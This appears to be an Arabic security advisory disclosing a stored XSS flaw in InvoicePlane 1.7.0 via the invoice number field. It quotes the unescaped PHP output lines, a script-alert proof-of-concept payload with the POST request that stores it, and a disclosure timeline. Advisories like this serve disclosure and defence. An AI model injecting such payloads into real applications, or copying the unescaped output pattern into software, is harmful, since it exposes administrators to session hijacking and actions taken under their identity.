
# ثغرة XSS مخزنة في InvoicePlane 1.7.0 عبر حقل رقم الفاتورة غير المعقّم، مع إثبات المفهوم وتفاصيل المعالجة.
الثغرة: تخزين البرمجة النصية عبر المواقع (XSS) عبر حقل رقم الفاتورة
المنتج: InvoicePlane
الإصدار المتأثر: 1.7.0 (وعلى الأرجح الإصدارات السابقة)
الخطورة: متوسطة
درجة CVSS 3.1: 4.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N)
CWE: CWE-79: عدم تحييد المدخلات بشكل صحيح أثناء توليد صفحة الويب
اكتشفها: Leonidas Agathos
تاريخ التقرير: 2026-01-31
يقبل حقل invoice_number في نموذج الفاتورة أي إدخال دون تعقيم. يتم تخزين القيمة وعرضها بدون ترميز في عدة مواضع: عنوان صفحة عرض الفاتورة، وحقل إدخال رقم الفاتورة، وودجت الفواتير الأخيرة في لوحة التحكم. يتم تنفيذ الحمولة كلما قام أي مسؤول بعرض الفاتورة المتأثرة أو زيارة لوحة التحكم.
الملفات المعرضة للخطر:
application/modules/invoices/views/view.php:247application/modules/invoices/views/view.php:494application/modules/dashboard/views/index.php:233// view.php - Line 247
<?php echo trans('invoice') . ' ' . ($invoice->invoice_number ? '#' .
$invoice->invoice_number : trans('id') . ': ' . $invoice->invoice_id); ?>
// view.php - Line 494
value="<?php echo $invoice->invoice_number; ?>"
// dashboard/index.php - Line 233
<?php echo anchor('invoices/view/' . $invoice->invoice_id, ($invoice->invoice_number
? $invoice->invoice_number : $invoice->invoice_id)); ?>
الخطوة 1 — حقن الحمولة في رقم الفاتورة
أنشئ أو عدّل فاتورة على /index.php/invoices/form/{id} واضبط رقم الفاتورة على:
<script>alert("XSS in Invoices")</script>
الطلب:
POST /index.php/invoices/ajax/save HTTP/1.1
Host: 172.25.0.12
Content-Type: application/x-www-form-urlencoded
invoice_number=<script>alert("XSS+in+Invoices")</script>&invoice_id=22&...

الخطوة 2 — تشغيل XSS
انتقل إلى /index.php/invoices/view/{id} أو /index.php/dashboard. يتم تنفيذ الحمولة عند تحميل الصفحة.

يتم تنفيذ الحمولة في متصفح أي مسؤول يعرض الفاتورة المتأثرة أو يزور لوحة التحكم. وهذا يتيح اختطاف الجلسة (إذا لم تكن ملفات تعريف الارتباط HttpOnly)، وسرقة رموز CSRF، وتنفيذ إجراءات بهوية الضحية.
| التاريخ | الحدث |
|---|---|
| 2026-01-30 | اكتشاف الثغرة |
| 2026-01-31 | تطوير إثبات المفهوم |
| 2026-01-31 | إخطار البائع |
| 2026-02-04 | إقرار البائع |
| 2026-02-04 | إصدار التصحيح |
| 2026-02-05 | الكشف العام |
تم اكتشاف هذه الثغرة أثناء بحث أمني مستقل. يتم توفير جميع المعلومات strictly لأغراض تعليمية وبحثية ودفاعية لمساعدة البائع والمجتمع الأمني في فهم المشكلة ومعالجتها. أي استخدام ضار لهذه المعلومات محظور تمامًا.